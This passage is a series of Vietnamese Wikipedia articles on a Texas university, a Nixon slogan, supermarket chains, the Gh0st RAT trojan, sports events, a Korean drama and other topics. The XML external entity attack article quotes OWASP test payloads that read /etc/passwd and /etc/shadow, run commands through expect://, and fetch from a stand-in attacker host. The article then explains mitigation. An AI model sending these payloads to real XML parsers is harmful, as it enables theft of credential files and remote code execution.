Đại học Bang Texas (Texas State University hay viết tắt là TXST) là một trường đại học nghiên cứu công lập với cơ sở chính ở San Marcos, Texas và một cơ sở khác ở Round Rock. Kể từ khi thành lập vào năm 1899, trường đã phát triển thành một trong những trường đại học lớn nhất Hoa Kỳ. Địa chỉ của trường: 601 University Dr, San Marcos, TX 78666, United States. Lịch sử Được cấp phép thành lập bởi Cơ quan lập pháp Texas (Texas Legislature) vào năm 1899, Trường Sư phạm Tây Nam Tiểu bang Texas (Southwest Texas State Normal School) mở cửa vào năm 1903. Trong thế kỷ đầu tiên, Cơ quan Lập pháp vẫn giữ nguyên tên gọi của khu vực Tây Nam trong tên trường, nhưng khi nhiệm vụ của nó thay đổi, nó trở thành Trường Cao đẳng Sư phạm (Normal College) đầu tiên, sau đó là Cao đẳng Sư phạm (Teachers College), Cao đẳng (College) và Đại học (University). Những thay đổi này phản ánh sự chuyển đổi từ một cơ sở đào tạo giáo viên sang một trường đại học khu vực. Năm 2003, Cơ quan lập pháp đã bỏ tên gọi khu vực và trường đã đổi tên trở thành Đại học Bang Texas-San Marcos (Texas State University-San Marcos), và vào năm 2013, tên địa điểm San Marcos đã bị loại bỏ khi Đại học Bang Texas trở thành một trường đại học nghiên cứu mới nổi trong bang, mang tên Đại học Bang Texas - Texas State University, viết tắt là TXST. Thứ hạng Trường có thứ hạng 280 trong bảng xếp hạng các trường Đại học Quốc gia hàng đầu Hoa Kỳ năm 2024, theo bảng xếp hạng U.S. News & World Report. Chi phí học tập và học bổng Trường có chi phí học tập trong một năm là 20,000$ với sinh viên ngoài tiểu bang Texas, bao gồm cả sinh viên quốc tế (non-resident), và 10,000$ với sinh viên là cư dân bang Texas. Học phí này áp dụng cho bậc Đại học, với 12 tín chỉ học tập/năm. Sinh viên cũng có khả năng nhận các học bổng và hỗ trợ tài chính khi đáp ứng các điều kiện học bổng của trường. Văn phòng tuyển sinh quốc tế Trường duy trì văn phòng tuyển sinh quốc tế tại một số quốc gia, trong đó có một Văn phòng Tuyển sinh Quốc tế khu vực Đông Nam Á và Việt Nam, đặt tại TP. Hồ Chí Minh, Việt Nam, nhằm mở rộng mối quan hệ hợp tác với các đối tác, đại học tại khu vực. Tham khảo Liên kết ngoài Website trường (tiếng Anh) Website trường (tiếng Việt) __LUÔN_MỤC_LỤC__ __CHỈ_MỤC__ Hoa Kỳ Giáo dục Hoa Kỳ Giáo dục Hoa Kỳ theo tiểu bang Giáo dục Hoa Kỳ theo thành phố Trường đại học và cao đẳng ở Texas
19852771
https://vi.wikipedia.org/wiki/H%C3%B2a%20b%C3%ACnh%20trong%20danh%20d%E1%BB%B1
Hòa bình trong danh dự
"Hòa bình trong danh dự" () là cụm từ được Tổng thống Mỹ Richard Nixon sử dụng trong bài phát biểu ngày 23 tháng 1 năm 1973 để mô tả Hiệp định Hòa bình Paris nhằm chấm dứt chiến tranh Việt Nam. Cụm từ này là một biến thể của lời hứa khi tranh cử mà Nixon đưa ra năm 1968: "Tôi cam kết với quý vị rằng chúng ta sẽ có một kết thúc vinh quang cho cuộc chiến ở Việt Nam". Hiệp định quy định rằng lệnh ngừng bắn sẽ diễn ra bốn ngày sau đó. Theo kế hoạch này, trong vòng 60 ngày kể từ ngày ngừng bắn, Bắc Việt sẽ thả tất cả tù binh Mỹ và toàn bộ quân đội Mỹ sẽ rút khỏi miền Nam Việt Nam. Ngày 29 tháng 3 năm 1973, người lính Mỹ cuối cùng rời khỏi Việt Nam. Ngày 30 tháng 4 năm 1975, quân đội Bắc Việt chiếm được Sài Gòn. Gắn liền với cụm từ này là ý tưởng mà Nixon tuyên bố vào năm 1968 có một kế hoạch bí mật nhằm chấm dứt chiến tranh. Nixon chưa bao giờ đưa ra tuyên bố như vậy trong chiến dịch tranh cử của mình, nhưng ông cũng không giải thích làm cách nào để đạt được hòa bình. Do đó, giả định rằng ông có một kế hoạch bí mật đã trở thành niềm tin phổ biến và thường bị hiểu sai thành một câu trích dẫn trực tiếp. Sử dụng trước đó 49 TCN Cicero "Đợi đến lúc chúng ta biết liệu chúng ta sẽ có hòa bình mà không có danh dự hay chiến tranh với những tai họa của nó, tôi đã nghĩ tốt hơn hết là để họ ở lại nhà tôi tại Formiae và cả những chàng trai và cô gái nữa". kh. 1145 Theobald II, Bá tước xứ Champagne "Hòa bình trong danh dự" viết trong một bức thư gửi vua Louis VII của Pháp. 1607 William Shakespeare "Rằng nó sẽ có tình hữu nghị qua hòa bình/trong danh dự, như trong chiến tranh". 1775 Edmund Burke "Quyền lực vượt trội có thể mang lại hòa bình trong danh dự cùng sự an toàn… Nhưng sự nhượng bộ của kẻ yếu là sự nhượng bộ của nỗi sợ hãi". 1878 Benjamin Disraeli (thủ tướng Anh) "Huân tước Salisbury và tôi đã mang lại hòa bình cho quý vị—nhưng nền hòa bình mà tôi hy vọng với danh dự, có thể làm hài lòng chủ quyền của chúng ta và hướng đến phúc lợi của nước mình". Nói khi trở về từ Hội nghị Berlin. Wags diễn giải điều này là "Hòa bình trong danh dự — và cả Síp nữa". 1916 Liên đoàn Doanh nhân Wilson "Wilson và hòa bình trong danh dự hay Hughes với Roosevelt và Chiến tranh?" Một phần trong chiến dịch tái tranh cử của Tổng thống Mỹ Woodrow Wilson. 1934 A. A. Milne (nhà văn người Anh) "'Hòa bình trong danh dự' lời vạch trần chiến tranh". 1938 Neville Chamberlain (thủ tướng Anh) "Bạn thân mến của tôi, lần thứ hai trong lịch sử của chúng ta, một Thủ tướng Anh đã trở về từ Đức mang theo nền hòa bình trong danh dự. Tôi tin rằng đó là 'hòa bình cho thời đại chúng ta'. Về nhà và ngủ một giấc thật ngon nhé." Nói khi trở về từ Hội nghị Munich. 1938 Winston Churchill chỉ trích sự nhân nhượng của Chamberlain với Hitler, nhận xét rằng: "Ngài được lựa chọn giữa chiến tranh và nhục nhã. Ngài đã chọn sự nhục nhã, và ngài sẽ có chiến tranh". 1939 Józef Beck phát biểu tại Hạ viện vào ngày 5 tháng 5 năm 1939 để đáp lại yêu cầu của Hitler về việc sáp nhập Thành phố tự do Danzig vào Đế chế thứ Ba "Chúng tôi ở Ba Lan không biết ý nghĩa của hòa bình bằng mọi giá. Chỉ có một điều trong cuộc sống của con người, dân tộc và quốc gia thì đây là điều vô giá. Đó là niềm vinh dự". Tham khảo Liên kết ngoài Toàn văn bài phát biểu của Nixon Khẩu hiệu chính trị Mỹ Hoa Kỳ trong Chiến tranh Việt Nam Nhiệm kỳ tổng thống Richard Nixon
19852772
https://vi.wikipedia.org/wiki/Hi%E1%BB%87n%20%C4%91%E1%BA%A1i%20h%C3%B3a%20th%E1%BB%A9%20n%C4%83m
Hiện đại hóa thứ năm
"Hiện đại hóa thứ năm" là một bài tiểu luận của nhà hoạt động nhân quyền Ngụy Kinh Sinh, ban đầu được bắt đầu bằng một tấm áp phích treo tường có chữ ký đặt trên Bức tường Dân chủ ở Bắc Kinh vào ngày 5 tháng 12 năm 1978. Tóm lược Áp phích kêu gọi Đảng Cộng sản Trung Quốc bổ sung dân chủ vào danh sách Bốn hiện đại hóa, vốn đã bao gồm công nghiệp, nông nghiệp, khoa học công nghệ và quốc phòng. Nó tuyên bố một cách công khai rằng dân chủ là một quá trình hiện đại hóa bổ sung cần được theo đuổi nếu Trung Quốc thực sự muốn hiện đại hóa chính mình. Tham khảo Liên kết ngoài Tiểu luận Hiện đại hóa thứ năm của Ngụy Kinh Sinh Tiểu luận năm 1978 Trung Quốc năm 1978 Phong trào dân chủ Trung Quốc Hệ tư tưởng của Đảng Cộng sản Trung Quốc Lịch sử kinh tế Cộng hòa Nhân dân Trung Hoa
19852774
https://vi.wikipedia.org/wiki/Cionus%20melanarius
Cionus melanarius
Cionus melanarius là loài côn trùng thuộc nhóm Bọ cánh cứng. Loài này được Germar, E.F. mô tả lần đầu tiên vào năm 1821. Tham khảo Cionus
19852775
https://vi.wikipedia.org/wiki/Cionus%20meleagris
Cionus meleagris
Cionus meleagris là loài côn trùng thuộc nhóm Bọ cánh cứng. Loài này được Marshall mô tả lần đầu tiên vào năm 1926. Tham khảo Cionus
19852776
https://vi.wikipedia.org/wiki/Cionus%20meticulatus
Cionus meticulatus
Cionus meticulatus là loài côn trùng thuộc nhóm Bọ cánh cứng. Tham khảo Cionus
19852777
https://vi.wikipedia.org/wiki/T%E1%BA%A5n%20c%C3%B4ng%20th%E1%BB%B1c%20th%E1%BB%83%20b%C3%AAn%20ngo%C3%A0i%20XML
Tấn công thực thể bên ngoài XML
Tấn công thực thể bên ngoài XML, hay đơn giản là tấn công XXE, là một kiểu tấn công chống lại một ứng dụng phân tích cú pháp đầu vào XML. Cuộc tấn công này xảy ra khi đầu vào XML chứa tham chiếu đến một thực thể bên ngoài được xử lý bởi trình phân tích cú pháp XML được cấu hình yếu. Cuộc tấn công này có thể dẫn đến việc tiết lộ dữ liệu bí mật, các cuộc tấn công DoS, giả mạo yêu cầu phía máy chủ, quét cổng từ góc độ của máy nơi đặt trình phân tích cú pháp và các tác động khác đến hệ thống. Mô tả Tiêu chuẩn XML 1.0 xác định cấu trúc của một tài liệu XML. Tiêu chuẩn xác định một khái niệm gọi là thực thể, là thuật ngữ dùng để chỉ nhiều loại đơn vị dữ liệu. Một trong những loại thực thể đó là thực thể được phân tích cú pháp chung/tham số bên ngoài, thường được rút ngắn thành thực thể bên ngoài, có thể truy cập nội dung cục bộ hoặc từ xa thông qua mã định danh hệ thống được khai báo. Mã định danh hệ thống được coi là một URI có thể được bộ xử lý XML truy cập khi xử lý thực thể. Sau đó, bộ xử lý XML sẽ thay thế các lần xuất hiện của thực thể bên ngoài được đặt tên bằng nội dung được tham chiếu bởi mã định danh hệ thống. Nếu mã định danh hệ thống chứa dữ liệu bị nhiễm độc và bộ xử lý XML hủy tham chiếu dữ liệu bị nhiễm độc này thì bộ xử lý XML có thể tiết lộ thông tin bí mật mà ứng dụng thường không thể truy cập được. Các vectơ tấn công tương tự áp dụng việc sử dụng DTD bên ngoài, biểu định kiểu bên ngoài, lược đồ bên ngoài, v.v., khi được đưa vào, sẽ cho phép các cuộc tấn công kiểu bao gồm tài nguyên bên ngoài tương tự. Các cuộc tấn công có thể bao gồm tiết lộ các tệp cục bộ, có thể chứa dữ liệu nhạy cảm như mật khẩu hoặc dữ liệu riêng tư của người dùng, sử dụng lược đồ file:// hoặc đường dẫn tương đối trong mã nhận dạng hệ thống. Vì cuộc tấn công xảy ra liên quan đến ứng dụng đang xử lý tài liệu XML nên kẻ tấn công có thể sử dụng ứng dụng đáng tin cậy này để chuyển sang các hệ thống nội bộ khác, có thể tiết lộ nội dung nội bộ khác thông qua các yêu cầu HTTP hoặc khởi động một cuộc tấn công CSRF vào bất kỳ dịch vụ nội bộ nào không được bảo vệ. Trong một số trường hợp, thư viện bộ xử lý XML dễ gặp phải các vấn đề hỏng bộ nhớ phía máy khách có thể bị khai thác bằng cách hủy tham chiếu URI độc hại, có thể cho phép thực thi mã tùy ý trong tài khoản ứng dụng. Các cuộc tấn công khác có thể truy cập vào tài nguyên cục bộ và không ngừng trả về dữ liệu, có thể ảnh hưởng đến tính khả dụng của ứng dụng nếu có quá nhiều luồng hoặc quy trình không được phát hành. Ứng dụng không cần phải trả lại phản hồi rõ ràng cho kẻ tấn công để dễ bị tiết lộ thông tin. Kẻ tấn công có thể tận dụng thông tin DNS để lọc dữ liệu thông qua tên miền phụ đến máy chủ DNS dưới sự kiểm soát của chúng. Các yếu tố rủi ro Ứng dụng phân tích các tài liệu XML. Dữ liệu bị nhiễm độc được cho phép trong phần định danh hệ thống của thực thể, trong định nghĩa loại tài liệu (DTD). Bộ xử lý XML được cấu hình để xác thực và xử lý DTD. Bộ xử lý XML được cấu hình để phân giải các thực thể bên ngoài trong DTD. Ví dụ Các ví dụ bên dưới là từ Thử nghiệm chèn XML của OWASP (WSTG-INPV-07). Truy cập tài nguyên cục bộ có thể không quay trở lại <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo> Thực thi mã từ xa Khi mô-đun PHP "mong đợi" được tải, việc thực thi mã từ xa có thể thực hiện được với tải trọng được sửa đổi. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds> Tiết lộ /etc/passwd hoặc các tệp được nhắm mục tiêu khác <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo> Giảm nhẹ Vì toàn bộ tài liệu XML được truyền từ một máy khách không đáng tin cậy nên thường không thể xác thực có chọn lọc hoặc thoát khỏi dữ liệu bị nhiễm độc trong mã định danh hệ thống trong DTD. Bộ xử lý XML có thể được cấu hình để sử dụng DTD tĩnh cục bộ và không cho phép bất kỳ DTD nào được khai báo có trong tài liệu XML. Xem thêm SQL injection Blind SQL injection Tham khảo Khai thác bảo mật web
19852783
https://vi.wikipedia.org/wiki/Si%C3%AAu%20th%E1%BB%8B%20Thu%E1%BA%ADn%20Ph%C3%A1t
Siêu thị Thuận Phát
Siêu thị Thuận Phát (; ; còn gọi là Siêu thị SF) là chuỗi siêu thị người Mỹ gốc Hoa gốc Việt ở khu vực Thung lũng San Gabriel ở California, Sacramento, California, San Pablo, California, Las Vegas, Nevada, Portland, Oregon và Garland, Texas. Lịch sử Siêu thị Thuận Phát được một doanh nhân gốc Việt tên Trần Tài Hiếu (陳才孝) thành lập vào giữa thập niên 1990. Cửa hàng đầu tiên của nó được mở tại cộng đồng người Mỹ gốc Hoa ở ngoại ô Monterey Park, California. Bất chấp sự thích thú của báo tiếng Anh, cái tên "Thuận Phát" thực sự có nghĩa là "sự thịnh vượng" trong tiếng Trung. Chuỗi siêu thị châu Á bán các mặt hàng tạp hóa nhập khẩu từ châu Á - đặc biệt là Trung Quốc đại lục, Hồng Kông, Đài Loan, Nhật Bản, Thái Lan và Việt Nam - cũng như một số thương hiệu chính thống của Mỹ. Các địa điểm của nó có xu hướng ở các khu phố Tàu ngoại ô mới hơn cũng như ở các khu thương mại của người Mỹ gốc Việt đang phát triển. Chuỗi chợ này cạnh tranh chủ yếu với 99 Ranch Market và Siêu thị Hồng Kông. Giống như hai chuỗi siêu thị này, Siêu thị Thuận Phát thường đóng vai trò là cửa hàng chủ chốt ở một số trung tâm mua sắm và khu thương mại nhỏ ở châu Á, trong một số trường hợp đã được Hiếu Trần cải tạo rộng rãi. Mấy "cửa tiệm lớn" ở Dallas, El Monte, Garden Grove, Las Vegas, San Gabriel và Westminster là những đại siêu thị độc đáo của người Hoa, vì họ bán quần áo, đồ điện tử nhỏ và các sản phẩm khác ngoài hàng tạp hóa, dù các gian hàng này do các nhà cung cấp độc lập nắm quyền điều hành với khoản thanh toán riêng. Năm 2005, Siêu thị Thuận Phát đã mở một siêu thị rộng tại Little Saigon vùng Westminster, California, gia nhập cộng đồng thương mại siêu thị Việt Nam vốn đầy tính cạnh tranh cao. Tháng 6 năm 2013, Thuận Phát đã khai trương Dallas Superstore, đánh dấu lần mở rộng đầu tiên tại bang Texas. Năm 2017, Thuận Phát đã bán địa điểm Monterey Park và Rowland Heights cho Siêu thị Great Wall. Tháng 6 năm 2019, siêu thị nổi tiếng châu Á này đã khai trương chi nhánh Oregon đầu tiên tại Quận Jade Đông Nam Portland tọa lạc trên Đại lộ 82 và Đường Foster, trước đây là cửa hàng Fred Meyer. Điều này đánh dấu địa điểm thứ mười lăm của Thuận Phát và là địa điểm đầu tiên ở vùng Tây Bắc nước Mỹ. Địa điểm California South El Monte - 2650 Rosemead Blvd Garden Grove - 13861 Brookhurst St San Gabriel - 1635 S San Gabriel Blvd San Diego - 6935 Linda Vista Rd Westminster - 15440 Beach Blvd #123 Fresno - 4970 E Kings Canyon Rd Sacramento - 4562 Mack Rd Sacramento - 6930 65th St #123 Sacramento - 5820 South Land Park Dr Stockton - 8004 West Ln San Pablo - 2368 El Portal Dr Nevada Las Vegas - 4801 Spring Mountain Rd Las Vegas - 5115 Spring Mountain Rd Oregon Portland - 5323 SE 82nd Ave Texas Garland - 3212 Jupiter Rd Tham khảo Liên kết ngoài Trang web chính thức Siêu thị Hoa Kỳ Siêu thị Trung Quốc Ẩm thực người Mỹ gốc Việt Siêu thị có trụ sở tại California Văn hóa người Mỹ gốc Hoa ở California Văn hóa người Mỹ gốc Việt ở California Công ty có trụ sở tại Quận Los Angeles, California
19852784
https://vi.wikipedia.org/wiki/Si%C3%AAu%20th%E1%BB%8B%20H%E1%BB%93ng%20K%C3%B4ng
Siêu thị Hồng Kông
Siêu thị Hồng Kông (; ) là chuỗi siêu thị người Mỹ gốc Á được thành lập ở vùng Thung lũng San Gabriel, Nam California. Nó hoạt động chủ yếu ở các cộng đồng người Hoa sinh sống tại khu ngoại ô mới hơn, đặc biệt là ở các khu vực Los Angeles, Philadelphia và Thành phố New York. Siêu thị Hồng Kông chuyên chủ yếu về hàng tạp hóa châu Á nhập khẩu. Nhiều mặt hàng đến từ Trung Quốc đại lục, Hồng Kông, Ma Cao, Nhật Bản, Hàn Quốc, Thái Lan, Đài Loan, Việt Nam, Indonesia và Philippines. Siêu thị này chuyên phục vụ cho một đối tượng khách hàng cụ thể. Cửa hàng đầu tiên ở Monterey Park, California, là điểm đến phổ biến của người Trung Quốc đại lục di cư và Siêu thị Hồng Kông ở Thành phố New York tập trung vào khách hàng nhập cư Trung Quốc đại lục (cộng đồng lớn người đại lục ở Brooklyn). Siêu thị Hồng Kông được Hồ Triệu Minh (Jeffrey Wu; 胡兆明) thành lập vào năm 1981 với cửa hàng hàng đầu trước đây nằm ở Monterey Park, California, nơi đây vẫn là một trong những siêu thị châu Á nổi tiếng và có trụ sở chính tại Thành phố New York. Nó hiện thuộc sở hữu của Hồ Triệu Minh và vợ ông, cựu nữ diễn viên Hồng Kông Diệp Ngọc Khanh (Veronica Yip; 叶玉卿). Ở Nam California, các đối thủ cạnh tranh chính của nó là 99 Ranch Market và Siêu thị Thuận Phát. Tại khu vực Thành phố New York, nó cạnh tranh với Kam Man Food, Siêu thị Good Fortune, New York Mart và Siêu thị Great Wall. Ở Boston, nó cạnh tranh với Kam Man, H Mart và C-Mart. Năm 2009, Hồng Kông bỏ tiền ra mua lại Super 88, một chuỗi siêu thị châu Á đã đóng cửa ba trong số sáu cửa hàng vào năm 2008 do doanh thu kém. Super 88 cũng phải đối mặt với sự cạnh tranh ngày càng tăng và khoản bồi thường 200.000 USD sau khi vi phạm luật tiền lương và giờ làm của tiểu bang. Chuỗi này đã bán phần lớn cửa hàng của mình cho chuỗi Siêu thị Good Fortune. Địa điểm Georgia Norcross - 5495 Đại lộ Jimmy Carter Massachusetts Boston - 1095 Đại lộ Commonwealth Malden - 188 Phố Thương mại New York Chinatown, Manhattan - 157 Phố Hester Địa điểm ngừng hoạt động California Monterey Park - Đại lộ 127 N Garfield(nay là Siêu thị Good Fortune) Rowland Heights (nay là Khu ẩm thực HK2) San Gabriel (nay là Siêu thị Good Fortune) West Covina (nay là Khu ẩm thực HK2) West Covina (nay là Siêu thị Thuận Phát) Monrovia (nay là Siêu thị Good Fortune) Massachusetts Allston, Massachusetts Dorchester, Massachusetts New Jersey South Plainfield (đóng cửa vào năm 2002) East Brunswick New York Chinatown, Manhattan (East Broadway Location)(bị hỏa hoạn thiêu rụi vào ngày 14 tháng 5 năm 2009) (nay là Siêu thị Chinatown ở Manhattan và Khách sạn Fairfield Inn ở trên) Sunset Park (nay là iFresh Market) Elmhurst (nay là Siêu thị Mỹ) Flushing (nay là Siêu thị SuperHK, một phần của Siêu thị Good Fortune) Pennsylvania Philadelphia (nay là Đại siêu thị Hồng Kông) Louisiana Gretna (nay là Chợ Thực phẩm Hồng Kông) Tham khảo Siêu thị Hoa Kỳ Siêu thị Trung Quốc Văn hóa Mỹ gốc Hồng Kông Khởi đầu năm 1981 ở California Công ty bán lẻ thành lập năm 1981 Văn hóa người Mỹ gốc Á ở California Văn hóa người Mỹ gốc Hoa ở California Công ty có trụ sở tại Quận Los Angeles, California
19852787
https://vi.wikipedia.org/wiki/Gh0st%20RAT
Gh0st RAT
Gh0st RAT là một Trojan dành cho nền tảng Windows mà những kẻ điều hành GhostNet đã sử dụng để xâm nhập vào nhiều mạng máy tính nhạy cảm. Đây là một chương trình máy tính gián điệp trên mạng, trong đó phần "RAT" trong tên đề cập đến khả năng hoạt động của phần mềm như một "Công cụ quản trị từ xa". Hệ thống GhostNet phát tán phần mềm độc hại đến những người nhận được chọn thông qua mã máy tính được đính kèm với các email và địa chỉ bị đánh cắp, từ đó mở rộng mạng lưới bằng cách cho phép nhiều máy tính bị lây nhiễm hơn. Theo Infowar Monitor (IWM), sự lây nhiễm "GhostNet" khiến máy tính tải xuống một Trojan có tên "Gh0st RAT" cho phép kẻ tấn công giành quyền kiểm soát hoàn toàn, theo thời gian thực. Một máy tính như vậy có thể bị tin tặc kiểm soát hoặc kiểm tra và phần mềm thậm chí còn có khả năng bật camera và chức năng ghi âm của một máy tính bị nhiễm có khả năng như vậy, cho phép màn hình nhìn và nghe thấy những gì diễn ra trong phòng. Một biến thể ít được biết đến của Gh0st RAT là Gh0stBins, sở hữu cùng một bộ công cụ độc hại, bao gồm cả keylogging và khả năng thực hiện khởi động lại hệ thống. Xem thêm Giám sát máy tính Máy tính không an toàn Quy định an ninh mạng Chiến tranh mạng Phòng thủ mạng chủ động Giám sát Gián điệp Lừa đảo Nguồn tham khảo
19852788
https://vi.wikipedia.org/wiki/Wushu%20t%E1%BA%A1i%20%C4%90%E1%BA%A1i%20h%E1%BB%99i%20Th%E1%BB%83%20thao%20ch%C3%A2u%20%C3%81%202022
Wushu tại Đại hội Thể thao châu Á 2022
Wushu tại Đại hội Thể thao châu Á 2022 được tổ chức tại Trung tâm Thể thao Tiêu Sơn Qua Lịch, Hàng Châu, Trung Quốc, từ ngày 24 đến ngày 28 tháng 9 năm 2023. Quốc gia tham dự Có tổng cộng 196 vận động viên đến từ 28 quốc gia tham gia thi đấu Wushu tại Đại hội Thể thao châu Á 2022: Lịch thi đấu Danh sách huy chương Biểu diễn nam Đối kháng nam Biểu diễn nữ Đối kháng nữ Bảng tổng sắp huy chương Tham khảo
19852795
https://vi.wikipedia.org/wiki/Chiyoda%2C%20Gunma
Chiyoda, Gunma
là thị trấn thuộc huyện Ōra, tỉnh Gunma, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 10.861 người và mật độ dân số là 500 người/km2. Tổng diện tích thị trấn là 21,73 km2. Địa lý Đô thị lân cận Gunma Tatebayashi Meiwa Oizumi Ōra Saitama Kumagaya Gyōda Hanyū Tham khảo Thị trấn của Gunma
19852799
https://vi.wikipedia.org/wiki/V%C3%B2ng%20lo%E1%BA%A1i%20gi%E1%BA%A3i%20v%C3%B4%20%C4%91%E1%BB%8Bch%20b%C3%B3ng%20%C4%91%C3%A1%20U-22%20ch%C3%A2u%20%C3%81%202013
Vòng loại giải vô địch bóng đá U-22 châu Á 2013
Vòng loại Giải vô địch bóng đá U-22 châu Á 2013 là vòng loại của Giải vô địch bóng đá U-22 châu Á 2013. Ban đầu, vòng loại dự kiến diễn ra từ ngày 23 tháng 6 đến ngày 3 tháng 7 năm 2012, nhưng sau đó được đổi thành từ ngày 2 tháng 6 đến ngày 10 tháng 6 ở bảng D theo yêu cầu của Nepal. Các trận đấu sau đó được dời lại để bắt đầu vào ngày 16 tháng 6 và ngày 3 tháng 7 dành cho Indonesia. Độ tuổi tham dự Tất cả cầu thủ được sinh ra từ ngày trở về sau đều đủ điều kiện tham dự Vòng loại. Thể thức 41 hiệp hội/liên đoàn bóng đá thành viên đã tham gia vòng loại để giành 15 suất tham dự Giải vô địch bóng đá U-22 châu Á 2013 cùng với đội chủ nhà. Vòng loại sẽ được tổ chức tại 7 địa điểm tập trung (ở 7 thành phố thuộc 7 quốc gia khác nhau). Các đội bóng được chia vào 6 bảng (5 bảng có 6 đội và bảng còn lại có 5 đội). Các đội thi đấu theo thể thức vòng tròn một lượt và chọn ra hai đội đứng đầu cùng với đội đứng thứ ba có thành tích tốt nhất trong tất cả các bảng tham dự Giải vô địch bóng đá U-22 châu Á 2013. Chủ nhà Giải đấu (Oman) có suất vào thẳng mà không cần quan Với việc Liên đoàn bóng đá châu Á trao quyền đăng cai Giải vô địch bóng đá U-22 châu Á 2013 cho Oman vào ngày 18 tháng 7 năm 2012 và với việc Oman là đội đứng thứ ba có thành tích tốt nhất, điều này đã giúp đội đứng thứ ba có thành tích tốt thứ nhì (Yemen) vào vòng chung kết. Quy tắc Nếu hai hoặc nhiều hơn hai đội cùng điểm sau khi kết thúc vòng loại, các tiêu chí sau đây sẽ được áp dụng để xác định thứ hạng. Số điểm đạt được nhiều hơn trong các trận đấu vòng bảng giữa các đội liên quan; Hiệu số bàn thắng bại trong các trận đấu vòng bảng giữa các đội liên quan; Số bàn thắng được ghi nhiều hơn trong các trận đấu vòng bảng giữa các đội liên quan; Hiệu số bàn thắng bại ở tất cả các trận vòng bảng; Số bàn thắng ghi được nhiều hơn trong tất cả các trận đấu vòng bảng; Đá luân lưu nếu chỉ có hai đội bằng chỉ số phụ và cả hai đều có mặt trên sân thi đấu; Điểm ít hơn được tính theo số thẻ vàng và thẻ đỏ nhận được trong các trận đấu vòng bảng; Bốc thăm. Các đội tham dự vòng loại Các đội đủ điều kiện tham dự Giải vô địch bóng đá U-22 châu Á 2013 được tô đậm. Các đội không tham dự vòng loại Các bảng đấu Tây Á Bảng A Tất cả trận đấu đều diễn ra ở Muscat, Oman. Múi giờ được liệt kê là UTC+4. Bảng B Tất cả trận đấu diễn ra ở Riyadh, Ả Rập Saudi. Múi giờ được liệt kê là UTC+3. Bảng C Tất cả trận đấu diễn ra ở Malacca, Malaysia. Múi giờ được liệt kê là UTC+8. Bảng D Tất cả trận đấu diễn ra ở Kathmandu, Nepal. Múi giờ được liệt kê là UTC+5:45. Đông Á Bảng E Tất cả trận đấu diễn ra ở Pekanbaru, Indonesia. Múi giờ được liệt kê là UTC+7. Bảng F Tất cả trận đấu diễn ra ở Viêng Chăn, Lào. Múi giờ được liệt kê là UTC+7. Bảng G Tất cả trận đấu diễn ra ở Yangon, Myanmar. Múi giờ được liệt kê là UTC+6:30. Các đội đứng thứ ba Do bảng D chỉ có 5 đội nên kết quả đối đầu của các đội với đội đứng cuối bảng (với bảng 6 đội) sẽ không được tính. Danh sách ghi bàn Chú thích Liên kết ngoài AFC U-22 Championship, the-AFC.com Tham khảo Bóng đá châu Á năm 2012 Vòng loại giải vô địch bóng đá U-23 châu Á
19852815
https://vi.wikipedia.org/wiki/Good%20trip
Good trip
Good trip có thể đề cập đến: Một lời tạm biệt trong tiếng Anh Một trải nghiệm thức thần cực kỳ dễ chịu
19852836
https://vi.wikipedia.org/wiki/Th%E1%BA%BF%20t%E1%BB%AD%20bi%E1%BA%BFn%20m%E1%BA%A5t%20r%E1%BB%93i%21
Thế tử biến mất rồi!
Thế tử biến mất rồi! () là một bộ phim truyền hình Hàn Quốc sắp ra mắt với sự tham gia của các diễn viên Suho, Hong Ye-ji, Myung Se-bin, Kim Joo-hun, and Kim Min-kyu. Bộ phim dự kiến sẽ được phát sóng vào khung giờ 21:40 (KST) thứ Bảy và Chủ nhật hàng tuần trên kênh truyền hình MBN từ ngày 9 tháng 3 năm 2024. Nội dung Bộ phim lấy bối cảnh thời kỳ Joseon, kể về vị Thế tử để hạ Lee Geon (Suho) vô tình gặp rắc rối khi bị Choi Myeong-Yoon (Hong Ye-ji) - người phụ nữ với định mệnh sẽ trở thành chính thất của anh - bắt cóc. Trên đường trốn chạy, mối tình lãng mạn nảy nở giữa hai người. Diễn viên Nhân vật chính Suho vai Thế tử để hạ Lee Geon. Hong Ye-ji vai Choi Myung-yoon Cô có biệt tài cưỡi ngựa và chữa bệnh xuất sắc. Myung Se-bin vai Vương đại phi Min Soo-ryun Kim Joo-hun vai Choi Sang-rok Cha của Choi Myung-yoon, là một ngự y của vương thất ở Nội Y Viện. Kim Min-kyu vai Đại quân Do-seong Em trai cùng cha khác mẹ của Lee Geon có kỹ năng võ thuật xuất sắc. Nhân vật phụ Jeon Jin Oh vai Quốc vương Haejong / Chúa thượng điện hạ Yoo Se-rye vai Vương phi họ Yoon. Người vợ chính thất thứ 2 của Quốc vương Haejong, là một người giàu tình cảm và đồng cảm. Cha Kwang-soo vai Yoon Yi-gyeom Kim Seol-jin vai Gab-seok Sản xuất Phát triển "Thế tử biến mất rồi!" được chắp bút bởi bộ đôi biên kịch Kim Ji-soo và Park Chul, cả hai đều là biên kịch của bộ phim Bossam: Đánh Cắp Số Phận (2021); và được đạo diễn bởi Kim Jin-man, người cũng là đạo diễn của hai tác phẩm Kill Me, Heal Me (2015) và Stealer: The Treasure Keeper (2023). Quá trình quay phim được thực hiện trong năm 2023. Vào tháng 10 năm 2023, các công ty sản xuất Chorokbaem Media và Superbook Co., Ltd. đã ký thỏa thuận kinh doanh với Thành phố Mungyeong để hỗ 